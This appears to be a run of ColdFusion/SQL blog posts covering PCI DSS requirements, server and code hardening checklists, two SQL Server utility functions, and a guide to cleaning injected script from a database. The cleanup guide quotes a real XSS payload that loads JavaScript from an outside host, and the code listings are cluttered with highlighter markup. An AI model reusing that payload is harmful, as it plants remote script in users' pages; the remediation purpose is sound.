The PCI SSC (Council) is responsible for managing the security standards, while compliance with the PCI set of standards is enforced by the founding members of the Council: American Express, Discover Financial Services, JCB International, MasterCard Worldwide and Visa Inc. Non-compliant companies who maintain a relationship with one or more of the card brands, either directly or through an acquirer risk losing their ability to process credit card payments and being audited and/or fined.

All in-scope companies must validate their compliance annually. This validation can be conducted by Qualified Security Assessors, i.e. companies that have completed a three-step certification process by the PCI SSC which recognises them as being qualified to assess compliance to the PCI DSS standard. However, smaller companies have the option to use a Self-Assessment Questionnaire. Whether this questionnaire needs to be validated by a QSA depends on the requirements of the card brands in that merchant’s region.

The current version of the standard specifies 12 requirements for compliance, organised into 6 logically related groups, which are called “control objectives.”

1. Build and Maintain a Secure Network
   • Requirement 1: Install and maintain a firewall configuration to protect cardholder data
   • Requirement 2: Do not use vendor-supplied defaults for system passwords and other security parameters
2. Protect Cardholder Data
   • Requirement 3: Protect stored cardholder data
   • Requirement 4: Encrypt transmission of cardholder data across open, public networks
3. Maintain a Vulnerability Management Program
   • Requirement 5: Use and regularly update anti-virus software
   • Requirement 6: Develop and maintain secure systems and applications
4. Implement Strong Access Control Measures
   • Requirement 7: Restrict access to cardholder data by business need-to-know
   • Requirement 8: Assign a unique ID to each person with computer access
   • Requirement 9: Restrict physical access to cardholder data
5. Regularly Monitor and Test Networks
   • Requirement 10: Track and monitor all access to network resources and cardholder data
   • Requirement 11: Regularly test security systems and processes
6. Maintain an Information Security Policy
   • Requirement 12: Maintain a policy that addresses information security

Compliance with these requirements can be summarized into 3 main stages:

• Collecting and storing: Secure collection and tamper-proof storage of all log data so that it is available for analysis.
• Reporting: Being able to prove compliance on the spot if audited and present evidence that controls are in place for protecting data.
• Monitoring and alerting: Have systems in place such as auto-alerting, to help administrators constantly monitor access and usage of data. Administrators are warned of problems immediately and can rapidly address them. These systems should also extend to the log data itself –- there must be proof that log data is being collected and stored.

What does this actually mean for web application developers?

It is considerably more expensive and more time-consuming to recover from a security incident than to take preventative measures ahead of time. If you follow the guidelines below, you will go along way to securing you application in line with the PCI DSS regulations. Many of the measures apply to general application security, but since PCI DSS is all about security, they are worth mentioning.

Server-level Security:

• Separate web- and database-servers on to different physical machines.
• Secure the web- and database-servers with traditional techniques. Only authorised accounts should have the capabilities to run tasks on the machine. That means not giving admin-rights to the user account.
• Keep servers up-to-date with the latest patches and software releases.
• Minimise the number of services running on the server. This means limiting the services to only those required for the web- or database-servers to function.
• Secure information in transit between servers. This may mean physically securing the network to prevent evesdropping via encryption or obfuscating the data amongst innocuous ‘noise’.
• Secure the database server behind a firewall.

Application-level Security:

• Separate ColdFusion, the webserver and database server user accounts. They should never be under the same system account.
• Create a database user specifically for your ColdFusion datasource and restrict it to only the activities required for the application. The user should not have database-owner rights, access to databases not relating to the application or access to the system tables.
• Revoke privileges in the ColdFusion datasource definition to prevent the SQL commands CREATE, DROP, GRANT, REVOKE and ALTER.
• General settings in the ColdFusion Administrator:
  • Check the Disable access to internal ColdFusion Java components option.
  • Check the Enable Global Script Protection option.
  • Add a Missing Template Handler.
  • Add a Site-wide Error Handler.
  • Reduce the Maximum size of post data from 100MB.
  • Enable Timeout Requests, and set to 60 seconds or less.
  • Disable Robust Exception Handling on production servers.

Web Application-level Security:

• Use secure HTTP to transfer data and/or when logged into ‘administration’ secutions of your web application.
• Timeout sessions after 15 minutes and on browser close.
• Provide multi-level login processes. For example, lock the application after 3 failed attempts for a period of 10 minutes.
• Do not identify whether the username or password are incorrect, simply notify the user that their login failed and that they must try again.
• Encrypt passwords stored in the database with a standard such as SHA-256 or ‘stronger’.
• Use CAPTCHAs (textual and aural) to prevent automated robots hacking into your application.
• Run regular penetration tests on your application to identify potential problems.
• Encrypt credit card information held in the database or other storage mechanism. Only store credit card data in line with the PCI DSS regulations.

Code-level Security:

• Application.cfc – Set the scriptProtect Application variable to true to enable application-wide cross-site script protection.
• CFQueryParam – This tag, importantly, verifies the data type of a query parameter and, for RDBMSs that support bind variables, enables ColdFusion to use bind variables in the SQL statement. Bind variable usage enhances performance when executing a cfquery statement multiple times. There are limitations to the use of the cfqueryparam tag. In ColdFusion 7 for example, you cannot use them in queries using the cachedWithin attribute. Similarly, they cannot be used in ORDER BY clauses, although the use of conditional logic should resolve the need for order by variables.
• Functions – As a rule of thumb, validate all the data being passed into a query prior to it being used. ColdFusion MX 7 saw the introduction of the isValid() function. This function tests whether a value meets a validation or data type rule and can be used to replace a large number of type-specific functions such as isArray(), isBinary(), isBoolean(), isDate(), isNumeric() and isSimpleValue() etc.
• Stored Procedures – I often favour the use of stored procedures over standard queries. Not only do they add an additional level of performance, they provide an additional level of security; ColdFusion does not do any raw processing of queries in the web code, it simply passes variables down the wire to the database server.

Conclusion

The goal of the PCI Data Security Standard is to protect cardholder data that is processed, stored or transmitted by merchants. The security controls and processes required by PCI DSS are vital for protecting cardholder account data, including the PAN – the primary account number printed on the front of a payment card. Merchants and any other service providers involved with payment card processing must never store sensitive authentication data after authorisation. This includes sensitive data that is printed on a card, or stored on a card’s magnetic stripe or chip – and personal identification numbers entered by the cardholder.

By following the points made above, you will go a long way to meeting the PCI DSS guidelines, whilst also securing your infrastructure and applications in a more general sense.

Caveat: The views and comments written in this article are provided as a guideline. I hold no responsibility for the security of your applications and data based upon the information provided.

A User-Defined Function, is a function provided by the user of a program or environment. In SQL databases, a user-defined function provides a mechanism for extending the functionality of the database server by adding a function that can be evaluated in SQL statements.

The Function Code

Below is the complete function definition:

<|/1/>CREATE <|/1/>FUNCTION dbo.udf_ListToTable
(
	@LIST 		<|/2/>NVARCHAR(<| style="color: #cc66cc;">4000),
	@DELIMITER 	<|/2/>NVARCHAR(<| style="color: #cc66cc;">10) = ','
)
<|/1/>RETURNS @ListTable <|/1/>TABLE
(
	Item <|/2/>NVARCHAR(<| style="color: #cc66cc;">200)
)
<|/1/>AS
<|/1/>BEGIN
	<|/1/>DECLARE @LenDel 	<|/2/>INT
	<|/1/>DECLARE @Pos 		<|/2/>INT
	<|/1/>DECLARE @Item 		<|/2/>NVARCHAR(<| style="color: #cc66cc;">200)
 
	--Get the length of the delimiter, use hack to get around LEN(' ') = 0 issue
	<|/1/>SET @LenDel = LEN(@DELIMITER + '|') - <| style="color: #cc66cc;">1
 
	<|/1/>SET @Pos = CHARINDEX(@DELIMITER, @LIST)
	<|/1/>WHILE @Pos > <| style="color: #cc66cc;">0
	<|/1/>BEGIN
		--Get the item
		<|/1/>SET @Item = SUBSTRING(@LIST, <| style="color: #cc66cc;">1, @Pos-<| style="color: #cc66cc;">1)
		--Add it to the table (if not empty string)
		<|/1/>IF LEN(LTRIM(@Item)) > <| style="color: #cc66cc;">0
			<|/1/>INSERT @ListTable (Item) <|/1/>VALUES (LTRIM(@Item))
		--Remove the item from the list
		<|/1/>SET @LIST = STUFF(@LIST, <| style="color: #cc66cc;">1, @Pos+@LenDel-<| style="color: #cc66cc;">1, '')
		--Get the position of the next delimiter
		<|/1/>SET @Pos = CHARINDEX(@DELIMITER, @LIST)
	<|/1/>END
 
	--Add the last item to the table (if not empty string)
	<|/1/>IF LEN(LTRIM(@LIST)) > <| style="color: #cc66cc;">0
		<|/1/>INSERT @ListTable (Item) <|/1/>VALUES (LTRIM(@LIST))
 
	<|/1/>RETURN
<|/1/>END
<|/1/>GO

The function simply loops over the list passed into the function. Each list item is then inserted into the variable named @ListTable, which is of type TABLE. The @ListTable variable is then returned out of the function and can be handled the same as any other table.

The Function In Use

A simple demonstration is as follows:

<|/1/>INSERT <|/1/>INTO tableName (column1, column2, column3, column4)
<|/1/>SELECT @variable1, @variable2, myTable.item, GETDATE()
<|/1/>FROM dbo.udf_ListToTable(@list,',') <|/1/>AS myTable

In this example, we insert the same information (@variable1, @variable2) for every instance of an item found in myTable.

This is useful, for example, if you want to apply a setting to a group of users. The group of users could be contained in a list that needs to be parsed as a table, whilst the individual setting details are contained in the other variables.

Download the Code

Download the code, rename the file to .sql and run on your database instance. You will then be able to reference the function in your Stored Procedures.

The syntax for this string function is the same for SQL Server, Oracle and Microsoft Access. The syntax is as follows:

REPLACE(stringToLookIn, stringToMatch, replacementsString)

The syntax is fairly straight forward, the stringToMatch parameter is the character phrase that we want to replace, the replacementsString is the character phrase that will replace any occurence of the stringToMatch parameter. If the stringToMatch phrase occurs more than once in the string, then all instances of the phrase will be replaced with the replacement string. If no matches were found then the string is returned unaltered.

If we want to match multiple items, we need to nest the REPLACE function:

REPLACE(REPLACE(stringToLookIn, stringToMatch, replacementsString), stringToMatch, replacementsString)

or set the replaced string into a new variable multiple times:

stringReturned = REPLACE(stringToLookIn, stringToMatch, replacementsString)
stringReturned = REPLACE(stringReturned, stringToMatch, replacementsString)

This is far from ideal, especially the more strings there are to be matched. This is where User-Defined Functions (UDFs) can provide the answer.

A User-Defined Function, is a function provided by the user of a program or environment. In SQL databases, a user-defined function provides a mechanism for extending the functionality of the database server by adding a function that can be evaluated in SQL statements.

The Function Code

Below is the complete function definition:

<|/1/>CREATE <|/1/>FUNCTION dbo.udf_ReplaceChars
(
@ReplaceList		<|/2/>VARCHAR(<| style="color: #cc66cc;">50),
@String			<|/2/>VARCHAR(<| style="color: #cc66cc;">100)
)
<|/1/>RETURNS <|/2/>VARCHAR(<| style="color: #cc66cc;">100)
<|/1/>AS
<|/1/>BEGIN
	<|/1/>DECLARE	@<|/2/>CHAR		<|/2/>CHAR(<| style="color: #cc66cc;">1),
		@Loop		<|/2/>INT
 
	<|/1/>SET @Loop  = <| style="color: #cc66cc;">0
	<|/1/>WHILE @Loop < = LEN(@ReplaceList)
	<|/1/>BEGIN
		<|/1/>SET	@Loop = @Loop + <| style="color: #cc66cc;">1
		<|/1/>SET	@<|/2/>CHAR = SUBSTRING(@ReplaceList, @Loop, <| style="color: #cc66cc;">1)
		<|/1/>SET	@String = REPLACE(@String, @<|/2/>CHAR, '')
	<|/1/>END
 
	<|/1/>RETURN		@String
 
<|/1/>END
<|/1/>GO

The function simply loops over the replace list, finding each instance of the list item in the string in which we want to replace items. The new string is then returned out of the function.

The Function In Use

A very simple use of the replace function could be as follows:

<|/1/>SELECT dbo.udf_ReplaceChars('=,/,<,>,@,~,#', columnName) <|/1/>AS newColumn, columnName
<|/1/>FROM tableName

The function is not restricted to SELECT statements. Below is an example of an UPDATE statement utilising a variable:

<|/1/>UPDATE tableName
<|/1/>SET columnName = dbo.udf_ReplaceChars('=,/,<,>,@,~,#', @variableName)
<|/1/>WHERE idName = @myId

Download the Code

Download the code, rename the file to .sql and run on your database instance. You will then be able to reference the function in your Stored Procedures.

Why should you be worried about security?

The Web is changing many of the assumptions that people have historically made about computer security and publishing. As the Internet makes it possible for web servers to publish information to millions of users, it also makes it possible for computer hackers, crackers, criminals, vandals, and other “bad guys” to break into the very computers on which the web servers are running. Once subverted, web servers can be used by attackers as a launching point for conducting further attacks against users and organisations.

It is considerably more expensive and more time-consuming to recover from a security incident than to take preventative measures ahead of time.

This blog post started on the premise of protecting your website from a SQL Injection Attack. However, it is also appropriate to discuss, at a relatively high level, how to secure your server architecture and applications.

Server-Level Security

• Separate web- and database-servers on to different physical machines.
• Secure the web- and database-servers with traditional techniques. Only authorised accounts should have the capabilities to run tasks on the machine. That means not giving admin-rights to the user account.
• Keep servers up-to-date with the latest patches and software releases.
• Minimise the number of services running on the server. This means limiting the services to only those required for the web- or database-servers to function.
• Secure information in transit between servers. This may mean physically securing the network to prevent evesdropping via encryption or obfuscating the data amongst innocuous ‘noise’.
• Secure the database server behind a firewall.

Application-Level Security

• Separate ColdFusion, the webserver and database server user accounts. They should never be under the same system account.
• Create a database user specifically for your ColdFusion datasource and restrict it to only the activities required for the application. The user should not have database-owner rights, access to databases not relating to the application or access to the system tables.
• Revoke privileges in the ColdFusion datasource definition to prevent the SQL commands CREATE, DROP, GRANT, REVOKE and ALTER.
• General settings in the ColdFusion Administrator:
  • Check the Disable access to internal ColdFusion Java components option.
  • Check the Enable Global Script Protection option.
  • Add a Missing Template Handler.
  • Add a Site-wide Error Handler.
  • Reduce the Maximum size of post data from 100MB.
  • Enable Timeout Requests, and set to 60 seconds or less.
  • Disable Robust Exception Handling on production servers.

Code-Level Security

• Application.cfc – Set the scriptProtect Application variable to true to enable application-wide cross-site script protection.
• CFQueryParam – This tag, importantly, verifies the data type of a query parameter and, for RDBMSs that support bind variables, enables ColdFusion to use bind variables in the SQL statement. Bind variable usage enhances performance when executing a cfquery statement multiple times.

  <cfquery name="qry" datasource="#APPLICATION.dsn#">
  SELECT column1, column2, column3
  FROM tableName
  WHERE column4 = <cfqueryparam value="#variable1#" cfsqltype="cf_sql_bit" />
  AND column5 LIKE <cfqueryparam value="%#variable2#%" cfsqltype="cf_sql_varchar" maxlength="200" />
  AND column6 IN (<cfqueryparam value="#variable3#" cfsqltype="cf_sql_integer" list="true" />)
  </cfquery>

  There are limitations to the use of the cfqueryparam tag. In ColdFusion 7 for example, you cannot use them in queries using the cachedWithin attribute. Similarly, they cannot be used in ORDER BY clauses, although the use of conditional logic should resolve the need for order by variables.

• Functions – As a rule of thumb, validate all the data being passed into a query prior to it being used. ColdFusion MX 7 saw the introduction of the isValid() function. This function tests whether a value meets a validation or data type rule and can be used to replace a large number of type-specific functions such as isArray(), isBinary(), isBoolean(), isDate(), isNumeric() and isSimpleValue() etc.
• Stored Procedures – I often favour the use of stored procedures over standard queries. Not only do they add an additional level of performance, they provide an additional level of security; ColdFusion does not do any raw processing of queries in the web code, it simply passes variables down the wire to the database server.

Additional Resources

• Web Security, Privacy and Commerce
• O’Reilly’s The Web Application Hacker’s Handbook
• Adobe’s whitepaper – ColdFusion 8 Developer Security Guidlines (PDF, 281k)
• Adobe’s whitepaper – ColdFusion 7 Developer Security Guidlines (PDF, 217k)
• Adobe DevNet – Learning Stored Procedure Basics in ColdFusion 8
• 0×000000 # The Hacker Webzine’s article on Attacking ColdFusion
• Three part series from Mark Kruger (ColdFusion Muse) – Part 1, Part 2, Part 3
• Brad Wood’s article on CFQueryParam is not just for security.

Which ever method is used to inject SQL and ultimately dangerous scripts into the database, we need to know how to deal with the problem and ‘roll it back’ to a safe state.

If you have an up-to-date backup of the database prior to the attack, then restoring the database is the best course of action. If this is not the case, apart from giving yourself a kick for not implementing a backup policy, it is possible to programatically remove the injected string or code using a set of relatively-simple SQL queries.

Programatically Replace Injected Code

Fortunately, by the very nature of an XSS attack, code is appended to the data already in the database — rather than replacing it — which means we simply need to remove the appended content.

Taking a real-world example, below is string that was injected into the database:

"></title><script src="http://1.verynx.cn/w.js"></script><!--

When rendered by a standard HTML page, the string is either displayed to the user agent, or the JavaScript file is called by the page, causing a security threat.

With the example above, we can use the following script to recurse through and create update scripts for every ‘infected’ table and column (of the type char, nchar, varchar and nvarchar), in the database.

SELECT 'UPDATE [' + table_name + ']
SET ' + column_name + ' = REPLACE(CAST(' + column_name + ' as varchar(8000)), ''"></title><script src="http://1.verynx.cn/w.js"></script><!--'', '''')
WHERE ' + column_name + ' LIKE ''%"></title><script src="http://1.verynx.cn/w.js"></script><!--%'''
FROM information_schema.columns
WHERE (character_maximum_length is not NULL)
AND ([table_name] not like 'dt%')
AND ([table_name] not like 'sys%')

The resultset then produces update statements that look like the following (I have masked the actual table and column names):

UPDATE [tableName]
SET columnName = REPLACE(CAST(columnName AS VARCHAR(8000)), '"></title><script src="http://1.verynx.cn/w.js"></script><!--', '')
WHERE columnName LIKE '%"></title><script src="http://1.verynx.cn/w.js"></script><!--%'

These update statements can be copied into and run in a program such as Query Analyser for Microsoft SQL Server 2000, or SQL Server Management Studio for Microsoft SQL 2005.

If the actual code that was injected is different, simply change the above code to suit your needs.

You can download the SQL rollback script for your own needs.

Prevent a Successful Attack

As the popular idiom goes prevention is better than a cure, I will discuss in my next post how to mitigate against SQL Injection attacks — on ColdFusion-based websites — before they become a problem.